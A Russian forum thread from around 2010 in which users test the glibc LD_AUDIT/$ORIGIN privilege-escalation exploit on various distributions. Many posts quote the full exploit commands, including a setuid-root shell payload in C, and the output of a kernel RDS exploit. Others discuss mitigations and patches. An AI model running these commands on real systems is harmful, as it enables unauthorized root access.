> В Gentoo у меня FEATURES="sfperms", что ставит права go-r на все suid
> файлы.
> Так что эксплойт не работает и я в безопасности )).У вас в Gentoo месяцами обновления безопасности не выпускаются - посмотрите хотя бы на даты в ChangeLog MySQL в основном дереве Portage. Уровень защищённости приемлемый только в полноценном Hardened.
emerge --sync по чаще делай
> emerge --sync по чаще делайМежду прочим, emerge --sync подвержен MitM-атакам. Давно перешёл на emerge-webrsync вкупе с webrsync-gpg FEATURE. Нахамить-то любой может, вы для начала попробуйте осилить анализ содержимого /usr/portage/dev-db/mysql/ChangeLog с датой публикации бюллитеней безопасности и выходом исправленных версий MySQL.
Паранойя головного мозга во все поля.
> Паранойя головного мозга во все поля.Блажен, кто верует, знание же преумножает скорбь. :)
Я mysql не пользуюсь, так что меня это не волнует. GLSA по критическим уязвимостям быстро выходят.
> Я mysql не пользуюсь, так что меня это не волнует. GLSA по
> критическим уязвимостям быстро выходят.О скорости выхода GLSA - это вы на #gentoo-security расскажите, чтобы разработчики тоже порадовались: проблема-то надуманная, оказывается.
> Я mysql не пользуюсьНу и аргументы.
на CentOS 5 сработало!
на третьем шаге уже не дает
$ exec 3 < /tmp/exploit/target
bash: /tmp/exploit/target: Отказано в доступе
> на третьем шаге уже не дает
> $ exec 3 < /tmp/exploit/target
> bash: /tmp/exploit/target: Отказано в доступе+1, на двух гентах пытался, дома и на работе
****@***:~$ mkdir /tmp/exploit
****@***:~$ ln /bin/ping /tmp/exploit/target
****@***:~$ exec 3< /tmp/exploit/target
bash: /tmp/exploit/target: Отказано в доступеНа Slackware 13.1
По умолчанию на Zenwalk 6.4 аналогично.
Если на /bin/ping рутом дать права на чтение и проделать все еще раз, то закрывается терминал как писали выше.
Насквозь дырявое ядро, если при уязвимости в какой-нибудь библиотеке можно заполучить root. Такое впечатление, что в оффтопике ядро вылизано настолько, что там нет никаких уязвимостей. По крайней мере я не знаю способов заполучить привилегии админа в давно вышедшей XP SP3 не говоря уже о семерке.
Сильно не пинайте, но иногда такие мысли возникают.
> Насквозь дырявое ядро, если при уязвимости в какой-нибудь библиотеке можно заполучить root. Такое впечатление, что в оффтопике ядро вылизано настолько, что там нет никаких уязвимостей. По крайней мере я не знаю способов заполучить привилегии админа в давно вышедшей XP SP3 не говоря уже о семерке.Сильно не пинайте, но иногда такие мысли возникают.
В ХР необходимости не было получать такой доступ. Зловреды и так работали. Поэтому никто и не интересовался.
вирусы типа kido отлично знают, в отличие от вас.
> Насквозь дырявое ядро, если при уязвимости в какой-нибудь библиотеке можно заполучить root.Господи, что вы там курите если не понимаете разницы между ядром и либой+привилегированной программой? Можно подумать что в XP нельзя поиметь повышенные права не через ядро а долбанув привилегированный сервис сплойтом. Можете даже нагуглить примеры сплойтов. Алсо подумайте почему в виндах сервисам как правило не разрешают взаимодействовать с десктопом. Или поRTFMайте, узнаете для себя много нового, в том числе насчет фирменных дебилизмов винапи и прочая :)
> Такое впечатление, что в оффтопике ядро вылизано настолько, что там нет никаких уязвимостей.
Угу, особенно анимированные курсоры в ядре были не багом а фичой :).И синий скрин от оверсайзнутой картинки в атевых и интельских дровах - тоже наверное не проблема. А вы сайты по уязвимостям вообще читаете?
> По крайней мере я не знаю способов заполучить привилегии
> админа в давно вышедшей XP SP3 не говоря уже о семерке.Вы - не знаете. А вы их искали? Или это по методу страуса - если не вижу, значит не съедят? :).Субъективно кстати у виндов их система прав намного сложнее. Поэтому не удивлюсь если там тоже какие-то косяки в их обработке накопаются.
> Сильно не пинайте, но иногда такие мысли возникают.
А какими фактами они подкреплены? XP по дефолту вообще не секурна. Дефолтовый юзер - тупо админ. Поднимать права ему нафиг не надо, они и так уже все есть :). Пачка сервисов - под SYSTEM, так что любой мсбласт долбанувший такой сервис - сразу же имеет систему от и до и волен в ней делать что угодно. В висте/семерке кой-какие меры сделали, но как обычно в духе MS - т.е. гланды удаляются через жопу, автогеном.
чтоб глупости в голову не лезли, нужно больше читать умных статей, например, http://www.microsoft.com/technet/security/advisory/2269637.mspx.
"Server Error in '/technet' Application."Кажется, Вы запостили в этом URL'е эксплойт IIS!!!111
точку в конце адреса убери
там точка в конце лишняя.
А это вообще лулзов пачка :). Более того - была еще фича: предложить юзеру скачать DLL :).А потом ... потом когда юзер ее скачает, при старте фурифокса она поюзается *до* системной библы с таким же именем. При чем дыра была специфичная для винды почему-то. Видимо остальные системы не настолько "умны" чтобы на свой зад искать и грузить либы откуда попало (current directory?).P.S. алсо, говорят что stuxnet пробивает винду от просто факта втыкания флехи. Какая-то дыра в обработке ярлыков, чтоли. Прямо так, без старта программы авторана даже, просто воткнули - и вас поимели. Что-то из этого вроде даже до сих пор не запатчено если меня не подводит склероз по части секурити уведомлений. Читайте сайты по секурити в общем - узнаете много нового. Спокойно спать перестанете заодно :)
> А это вообще лулзов пачка :). Более того - была еще фича:
> предложить юзеру скачать DLL :).А потом ... потом когда юзер ее
> скачает, при старте фурифокса она поюзается *до* системной библы с таким
> же именем. При чем дыра была специфичная для винды почему-то. Видимо
> остальные системы не настолько "умны" чтобы на свой зад искать и
> грузить либы откуда попало (current directory?).ага, щаз. читайте сводки уязвимостей не только с опеннета и будете знать что та же дыра и в лунухах имеет(ла) место быть.
>> А это вообще лулзов пачка :). Более того - была еще фича:
>> предложить юзеру скачать DLL :).А потом ... потом когда юзер ее
>> скачает, при старте фурифокса она поюзается *до* системной библы с таким
>> же именем. При чем дыра была специфичная для винды почему-то. Видимо
>> остальные системы не настолько "умны" чтобы на свой зад искать и
>> грузить либы откуда попало (current directory?).
> ага, щаз. читайте сводки уязвимостей не только с опеннета и будете знать
> что та же дыра и в лунухах имеет(ла) место быть.Во первых - была, а во вторых, пруф давайте.
> Во первых - была, а во вторых, пруф давайте.Во первых не "была", такие баги постоянно появляются от приложения к приложению и сказать, что больше таких багов не будет, все равно, что пальцем в небо. Точно так же как и сказать, что эта бага только win систем - может, ну не знаю, наверное только юзер294. Вот, кстати, такими багами страдают не только linux и win, но так же: и aix, и соляра, и маки. И это мелочь, когда по относительному пути подгружают либы, иные программы вообще запускают УТИЛИТЫ по относительному пути.
Во вторых, у вас интернет отобрали, что пруфы просите? вот например:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3374
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0426
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0302
хватит?
В третьих: если не ошибаюсь, то видел сводку о такой уязвимости не только для ff for win, но и в для ff for linux, но искать эту сводку лень, путь я вам задал, дальше вы уж сами...
> ага, щаз. читайте сводки уязвимостей не только с опеннета и будете знать
> что та же дыра и в лунухах имеет(ла) место быть.Не в "лунухах", а в Debian. Этот дистрибутив давно себя "зарекомендовал".
>> ага, щаз. читайте сводки уязвимостей не только с опеннета и будете знать
>> что та же дыра и в лунухах имеет(ла) место быть.
> Не в "лунухах", а в Debian. Этот дистрибутив давно себя "зарекомендовал".да какая разница? главное, что это проблема не только вин система, как некоторые тут утверждают.
Особенно порадовало отношение разработчиков glibc..
бага есть? - ну есть, ну и нафик - не будем ее фиксить, не сломают.
А если сломают? - тогда и пофиксим.Чем-то это напоминает отношение MS к выпуску обновлений.
Не ужели FSF не может нормально следить за ключевым проектом?
линейкой по пальцам через интернеты =)
Arch, при выполнении LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 шелл просто падает
В funtoo тоже suid бит для хардлинка не выставляется, поэтому не работает. В debiane - лехко, но падает шелл.
> В debiane - лехко, но падает шелл.Ога, с ассертом в libc.
в Дебиане давно используется eglibc вместо классической libc
и несмотря на то, что eglibc всего лишь форк от glibc,
в eglibc ( 2.11.2 ) эксплоит не работает.
~ $ mkdir /tmp/exploit
~ $ ln /bin/ping /tmp/exploit/target
~ $ exec 3< /tmp/exploit/target
-bash: /tmp/exploit/target: Отказано в доступе
gentoo ~x86_64
suid бинарник на который делается линк должен быть читаемым
mode 4755 например, если он нечитаем, но выполним, то exec 3 не пройдет.
А "презренные бубунты" этот сплойт не пробирает. Посему странно ждать исправления для них - а они походу не эксплойтабельны и так?! Какой редхатчик новость писал? Он был не в курсе что в убунте/дебияне юзается другая либа - eglibc? Или какого буя про исправления написано? Пусть автор новости объяснит свою логику наведения паники? oOВ бубунтах шелл просто убивается с assertion failed. И фигъ мне а не рут, соответственно. Так что приветы крЮтому редхату и Ульриху. Энтерпрайзнички, а на стандарт вот забили :-).
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
Inconsistency detected by ld.so: dl-open.c: 271: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
с openSuSE аналогично - умирает шелл.
>другая либа - eglibcEmbedded GLIBC (EGLIBC) is a variant of the GNU C Library (GLIBC) that is designed to work well on embedded systems.
> Embedded GLIBC (EGLIBC) is a variant of the GNU C Library (GLIBC)
> that is designed to work well on embedded systems.Спасибо, Кэп. Но это не отменяет факта что приведенный эксплойт работает только на редхатах, но не катит в дебиянообразных. Судя по всему как раз потому что либа другая. Я где-то ошибаюсь в моей логике? Тогда покажите где.
> Судя по всему как раз потому что либа другая. Я где-то ошибаюсь в моей логике? Тогда покажите где.Да, ошибаешься. Тут дело не в glibc vs. eglibc, а в опциях сборки. -DNDEBUG убирает assert'ы, которые, в теории, на уже отлаженном коде не нужны. А реально - в данном случае помогали. То, что срабатывает assert внутри glibc/eglibc - это признак наличия бага - так что исправление для Debian и Ubuntu должно появиться. Возможно, оно не будет считаться security fix'ом, хотя уверенности в том что assert'а было достаточно, чтобы спастись от всех способов атаки, нет.
А вот Owl и ALT Linux этой проблеме не подвержены по другим причинам. :-)
$ LD_AUDIT="\$ORIGIN" exec /proc/$$/fd/3
bash: /proc/30974/fd/3: Permission denied
bash: exec: /proc/30974/fd/3: cannot execute: Success
$хз... видимо я так давно не обновлялся, что LD_AUDIT у меня не поддерживается =))
а, нет, вру, дескриптор перепутал, assert срабатывает:$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
На Debian не работает. Вывод: RedHat дырявый :-)$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
Inconsistency detected by ld.so: dl-open.c: 271: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
в ubuntu 10.10:$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
ln: создание жесткой ссылки `/tmp/exploit/target' => `/bin/ping': Операция не позволяется
жесткую ссылку можно сделать в пределах 1 устройства, у вас наверное /tmp и /bin на разных партициях/устройствах
у меня тоже ubuntu 10.10. tmp и bin на одном разделе. то же самое выдает.
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] ==
В основной ссылке по новости есть второй метод атаки
http://seclists.org/fulldisclosure/2010/Oct/257Почему его еще никто не попробовал? Там ссылки
делать не придется.
пробовали не работаетbash: line 28: /tmp/exploit/traget: No such file or directory
Что-то вы не то делаете видимо,
но и у меня не получается. Это
как раз способ для SETUID файлов
без доступа на чтение$ ls -l /bin/ping2
-rwsr-x--- 1 root root 37312 Oct 19 18:51 /bin/ping2
$
$ mkdir /tmp/exploit
$ cat > /tmp/exploit.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
$
$ ln /bin/ping2 /tmp/exploit/target
$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) &
[1] 5559
$ rm -rf /tmp/exploit/
$ gcc -w -fPIC -shared -o /tmp/exploit /tmp/exploit.c
$ pkill -n -t $(tty | sed 's#/dev/##') sleep
$ -bash: line 11: 5560 Terminated sleep 1h
-bash: line 11: /tmp/exploit/target: Permission denied[1]+ Done ( head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1 ) | ( sleep 1h; cat )
$это на CentOS 5.5 . Может у кого-нибудь получилось?
funtoo, glibc-2.11-r1
Assertion ... failed
>>>$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) &[1] 5559
А что вот это [1] 5559 , у меня пишет такая команда не найдена.
> А что вот это [1] 5559 , у меня пишет такая команда не найдена.Это? Это - стопроцентный EPIC FAIL! :))))
Хинт: ввести выданные шеллом номер job и его pid как команду - круто придумано. Вы б думали что вводите, а? Иначе вы рискуете оказаться однажды в роли обезьяны с гранатой.
Спасибо
>>Иначе вы рискуете оказаться однажды в роли обезьяны с гранатой.От этого никто не застрахован.
"[1] 5559"чей pid должен быть?
sylvia@evy /var/tmp $ pkill -n -t $(tty | sed 's#/dev/##') sleep
-bash: line 3: 18668 Terminated sleep 1h
sylvia@evy /var/tmp $ warning: debug option `nonsense' unknown; try LD_DEBUG=help
Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
с eglibc 2.11.2 со вторым способом также срабатывает ассерт
> В основной ссылке по новости есть второй метод атаки
> http://seclists.org/fulldisclosure/2010/Oct/257После выполнения pkill:
warning: debug option `nonsense' unknown; try LD_DEBUG=help
Inconsistency detected by ld.so: dl-open.c: 232: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!> Там ссылки делать не придется.
(head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN" /tmp/exploit/target 2>&1)
В первой же строке запуск всё той же ссылки на ping.
У меня вообще ни на одной машине не получилось заэксплуатировать.
1. У меня всё с SUID на отдельных разделах
2. Всё с suid только на 111
3. Даже когда я это всё пофиксил, всё равно вываливается ассёрт :]
Fedora12 получилось. :(
Вот, а кто-то мне тут рассказывал, что в линухах держать все на одном разделе можно спокойно, там людей не тревожат переполнения разделов, опции монтирования, а теперь не тревожат еще и всякие уязвимости....
О безопасности думать надо, да.
чето облом на 2й же команде
ln /bin/ping /tmp/exploit/target
ln: создание жесткой ссылки «/tmp/exploit/target» => «/bin/ping»: Неверная ссылка между устройствамиладно создал в /home но опять же:
ls -l /proc/$$/fd/3
ls: невозможно получить доступ к /proc/18810/fd/3: Нет такого файла или каталогаglibc-2.11.2
Опять этот SUID... Ну и как всегда о сто и одном способе "как получить линукс с правами обычного пользователя" тут не поведали. Те же юзеры, которые работают в удалённых xnix окружениях наверное и так бояться что-нить "уронить", конечно без дятлов никуда...
andrey@evilhorse /var/run/exploit $ ls -ld .
drwxrwxrwx 2 andrey andrey 4096 Окт 19 23:03 .
andrey@evilhorse /var/run/exploit $ ln /bin/ping /var/run/exploit/target
andrey@evilhorse /var/run/exploit $ ls -l
итого 28
-rws--x--x 2 root root 26508 Авг 18 2008 target
andrey@evilhorse /var/run/exploit $ exec 3< /var/run/exploit/target
bash: /var/run/exploit/target: Отказано в доступе
andrey@evilhorse /var/run/exploit $не работает
если пофиксить права на /bin/ping:Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
и падение
тестовая система, собранна из исходников
./configure && make && make install
, ни каких патчей безопасности - тот же ".. Assertion .."
CO5 i386/x86_64 - пашет на ура
CO4 - не работаетНа CO5 мы уже собрали rpms patched и разлили по серверам.
мда, 2 ехплоита за один вечер, етот и http://www.exploit-db.com/exploits/15285. уид=0 на Linux box 2.6.34.7-56.fc13.i686 #1 SMP Wed Sep 15 03:33:58 UTC 2010 i686 i686 i386 GNU/Linux
> мда, 2 ехплоита за один вечер, етот и http://www.exploit-db.com/exploits/15285. уид=0
> на Linux box 2.6.34.7-56.fc13.i686 #1 SMP Wed Sep 15 03:33:58 UTC
> 2010 i686 i686 i386 GNU/Linux[user0@video_srv ~]$ ./expl.bin
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved cap_ptrace_traceme to 0xc1149490
[+] Resolved commit_creds to 0xc1060fe0
[+] Resolved prepare_kernel_cred to 0xc1060db0
[*] Failed to resolve kernel symbols.
[user0@video_srv ~]$[user0@video_srv ~]$ uname -a
Linux video_srv 2.6.32-ARCHувы и ах
$ ./a.out
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved security_ops to 0xffffffff81c44e50
[+] Resolved default_security_ops to 0xffffffff81a3daa0
[+] Resolved cap_ptrace_traceme to 0xffffffff811c73f4
[+] Resolved commit_creds to 0xffffffff81056b7b
[+] Resolved prepare_kernel_cred to 0xffffffff81056a37
[*] Could not open socket.
~ $uname -a
Linux 2.6.34.1 #5 SMP Tue Aug 24 15:56:29 MSD 2010 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 5000+ AuthenticAMD GNU/Linux
ls -l /bin/ping
если для не юзера стоит r-x, эсплойт работает (Мандривы, Федоры, Убанты)
если стоит, --x, то не работает (Слаки и другие)
> ls -l /bin/ping
> если для не юзера стоит r-x, эсплойт работает (Мандривы, Федоры, Убанты)
> если стоит, --x, то не работает (Слаки и другие)в данной теме присутствуют два эксплойта, один скриптом (вы о нём), другой программкой.
Что-то в Red Hat Enterprise Linux Server release 5.1 (Tikanga) работать не хотит.bea@yam-ind:/tmp>gcc -w -fPIC -shared -o /tmp/exploit payload.c
payload.c:7: ошибка: redefinition of ‘init’
payload.c:2: ошибка: previous definition of ‘init’ was hereglibc-2.5-18
Что-то пока не страшно.
> Что-то в Red Hat Enterprise Linux Server release 5.1 (Tikanga) работать не
> хотит.
> bea@yam-ind:/tmp>gcc -w -fPIC -shared -o /tmp/exploit payload.c
> payload.c:7: ошибка: redefinition of ‘init’
> payload.c:2: ошибка: previous definition of ‘init’ was here
> glibc-2.5-18
> Что-то пока не страшно.Что-то у Вас в .c file ошибка, а не работать не хочет. Проверьте, что вставили все один раз и без спец символов.
Да и RHEL 5.1 как бы outdated уже, там остального добра думаю хватит, даже если это и не работает.
Да правда ваша - работает.
Умные люди давно следуют рекомендациям по безопасности. например от NSA.
Открываем "Guide to the Secure Configuration of Red Hat Enterprise Linux 5" - http://www.nsa.gov/ia/_files/os/redhat/rhel5-guide-i731.pdf - читаем -
2.1.1.1.1 Create Separate Partition or Logical Volume for /tmp
2.1.1.1.2 Create Separate Partition or Logical Volume for /var
...
2.1.1.1.5 Create Separate Partition or Logical Volume for /home if Using Local Home Directories
...
2.2.1.3 Add nodev, nosuid, and noexec Options to Temporary Storage Partitions
2.2.1.4 Bind-mount /var/tmp to /tmp
...
2.2.3.4 Find Unauthorized SUID/SGID System Executables
Ubuntu 10.04:moo@moo:~$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
Inconsistency detected by ld.so: dl-open.c: 231: dl_open_worker: Assertion `(call_map)->l_name[0] == '\0'' failed!
CentOS 5.3
[moo@co53 ~]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[root@co53 ~]#
После "yum update glibc" с версии 2.5.34 до 2.5.49 и пересборки эксплоит все-равно работет на CentOS.
Сегодня вышел апдейт glibc, после которого $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 вырубает шелл.
I just can't create the link from /bin/ping to /tmp/exploit/target
ln: creating hard link `exploit/target' => `/bin/ping': Invalid cross-device link
Сегодня на #grsecurity:<taviso> kees: we pwned you :)
<taviso> (check your mail)
<kees> taviso: aaah craps
<kees> taviso: nice work :)
<taviso> thanks :D
<spender> AHH CRAPS
<kees> taviso: well, no worries, the glibc update was waiting in the wings anyway. I'll get it published. :)
<spender> I INFERR THAT UBUNTU IS VULN TO THE GLIBC BUG
<spender> and i guess all other eglibc users too? :p
Да, второй раунд: http://lists.openwall.net/full-disclosure/2010/10/22/15Исправление для Debian: http://lists.openwall.net/full-disclosure/2010/10/22/16
ln /bin/ping /tmp/exploit/target
ln: создание жесткой ссылки `/tmp/exploit/target' => `/bin/ping': Операция не позволяетсяOpenSUSE 11.3 // Kernel 2.6.35.4 + Ubuntu patches + BFQ + BFS
Наверное yama мли apparmor виноваты....
> ln /bin/ping /tmp/exploit/target
> ln: создание жесткой ссылки `/tmp/exploit/target' => `/bin/ping': Операция не позволяетсяДля эксплуатации второй уязвимости хардлинки не нужны.